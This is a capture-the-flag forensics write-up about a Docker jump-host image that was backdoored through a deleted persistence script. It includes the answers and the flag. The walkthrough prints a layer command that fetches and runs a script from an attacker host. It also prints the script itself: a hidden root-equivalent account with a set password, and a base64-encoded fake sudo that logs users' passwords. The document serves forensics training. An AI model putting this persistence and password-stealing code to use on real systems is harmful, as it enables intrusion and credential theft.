# BACKDOORED IMAGE

AUTHOR: CYBEXER TECHNOLOGIES

## International Cyber Security Challenge



**SEPT 2021** 



### **1. DESCRIPTION**

Developers have noticed that latest version of a SSH jump host which they are using for remote access is acting weirdly. When inspecting logs, they notice logins from strange accounts that should not be there. Their own dev account password also seems to be compromised, as logins are coming from unknown IP addresses. Sysadmins have recreated the jump host container from the latest image but with no luck. Same activity is still seen. Could the Docker repository be hacked? Could the hackers have tampered with the image? You must find out!

Pull the image from **docker.io/cybexer/ctf-jumphost:icsc** and find out how the image was compromised.

# **2. CHALLENGE SPECIFICATIONS**

- Categroty: Forensics
- Difficulty: Easy
- Estimated time: 5-10 min

# **3. QUESTIONS AND ANSWERS**

#### 3.1 HOW WAS THE COMPROMISED ACCOUNT CREATED?

Using a bash script that was later deleted during image build process.

#### 3.2 WHAT FLAG IS STORED IN THE COMPROMISED IMAGE?

d4da58b6-d572-4992-8342-7747969911d5

# **4. SETUP INSTRUCTIONS**

The task does not require any setup.



## **5. ARTIFACTS PROVIDED**

Image in Docker.io	SHA-256
cybexer/ctf-jumpost:icsc	6e8ef7a9c23b0f983fba1d65a2592e86abe38aa23e72f9feb1b8ca01c3c60c30

## **6. TOOLS NEEDED**

- Docker
- dive (https://github.com/wagoodman/dive)

# 7. WALKTHROUGH

As instructed, pull the image:

docker pull docker.io/cybexer/ctf-jumphost:icsc

NOTE: To avoid any issues with solution, it is recommended to verify that digest of the image matches to the one provided in section 5 of this document because the image is pulled from external repository and might change in time. The digest is printed by *docker pull* command.

Inspect the image with **dive**. Notice that in one of the layers a file called **persistence.sh** was created and later it was deleted again.

	Current	Laver Contents	-	
(mn Size Command	Permission	UTD:GTD	Size	Filetree
63 MB EB0M 36759b05ca8d6b8	drwxr-xr-x	0:0	5.8 MB	⊨e bin
217 MB ant-get -v update && apt-get -v install vimnet-toolsnervernanovoetsudo	drwxr-xr-x	0:0	0 B	boot
377 B #(non) COPY file:51921e8d2abb5ab190e183439cdc7e033d6d1cfd9e234835e7b9f6c31253dec7 in /etc/	drwxr-xr-x	0:0	0 B	- dev
309 kB useradd -ms /hin/hash devs	drwxr-xr-x	0:0	994 kB	La etc
756 B echo "devic kitten123" L chasswd			5.0 kB	home
74 kB_echo "172.17.0.1 attack.er" >> /etc/hosts : wget http://attack.er/persistence.sh && chmod +x persistence.sh &&			5.0 kB	L devs
0 B rm persistence.sh	-rw-rr	1000:1000	220 B	- bash logout
0 B apt-get clean &% rm -rf /var/lib/apt/lists/*			3.8 kB	- ,bashrc
Laver Details				L fsudo
	-rw-rr	1000:1000	807 B	profile
Tags: (unavailable)	drwxr-xr-x	0:0	22 MB	—⊕ lib
Id: 4175e32bdc6836d383983c350b0615aaf05465477e47d81a4532bea3da22d2de	drwxr-xr-x	0:0	0 B	-@ lib64
Digest: sha256:77937955e45a15012fa8bcd3dcaf3d05b03664b0b960513a9fe3f0ff6d92de61	drwxr-xr-x	0:0	0 B	— media
Command:	drwxr-xr-x	0:0	0 B	
echo "172.17.0.1 attack.er" >> /etc/hosts : wget http://attack.er/persistence.sh && chmod +x persistence.sh && bash persist	drwxr-xr-x	0:0	0 B	⊢ opt
ence.sh	-rwxr-xr-x	0:0	644 B	— persistence.sh
	drwxr-xr-x	0:0	0 B	
Image Details	drwx	0:0	3.3 kB	⊨⊕ root
	drwxr-xr-x	0:0	74 B	—⊕ run
	drwxr-xr-x	0:0	4.3 MB	—⊕ sbin
Total Image size: 281 MB	drwxr-xr-x	0:0	0 B	— srv
Potential wasted space: 41 MB	drwxr-xr-x	0:0	0 B	- sys
Image efficiency score: 85 %	drwxrwxrwx	0:0	0 B	- tmp
	drwxr-xr-x	0:0	202 MB	—e usr
Count Total Space Path	drwxr-xr-x	0:0	44 MB	Le var
2 18 MB /var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_bionic_universe_binary-amd64_Packages.lz4				



Navigate to folder where image layers are kept and search for the deleted file by its name:

- \$ cd /var/lib/docker/overlay2
- \$ find . -name persistence.sh
- ./342b2f87b408ecec5d108e88088b32dd8159284755d0b859033ffe7b3db2ef36/diff/persistence.sh
- ./6a166a909f84dc0533f8c48293e535825e5a6ea8536e41598eb5893d210e0c20/diff/persistence.sh

#### Inspect the file:

\$ cat ./342b2f87b408ecec5d108e88088b32dd8159284755d0b859033ffe7b3db2ef36/diff/persistence.sh
#!/bin/bash

# Planting persistence

useradd -ou 0 -g 0 systemservice echo "systemservice:backdoorpass1" | chpasswd

mkdir /home/devs/.hidden

```
echo "IyBGbGFnIGlzIG5vdCBoZXJlIDooCgpyZWFkIC1zcCAiW3N1ZG9dIHBhc3N3b3JkIGZvciAkVVNF
UjogIiBzdWRvcGFzcwplY2hvICIiCnNsZWVwIDIKZWNobyAiU29ycnksIHRyeSBhZ2Fpbi4iCmVj
aG8gJHN1ZG9wYXNzID4+IC90bXAvcGFzcy50eHQKCi91c3IvYmluL3N1ZG8gJEAK" | base64 -d >
/home/devs/.hidden/fsudo
```

```
chmod a+x /home/devs/.hidden/fsudo
echo "alias sudo=~/.hidden/fsudo" >> /home/devs/.bashrc
```

Done.



ENISA European Union Agency for Cybersecurity

> Athens Office 1 Vasilissis Sofias Str. 151 24 Marousi, Attiki, Greece

Heraklion Office 95 Nikolaou Plastira 700 13 Vassilika Vouton, Heraklion, Greece





ISBN xxx-xx-xxxx-xxx-x doi:xx.xxxx/xxxxxx TP-xx-xx-EN-C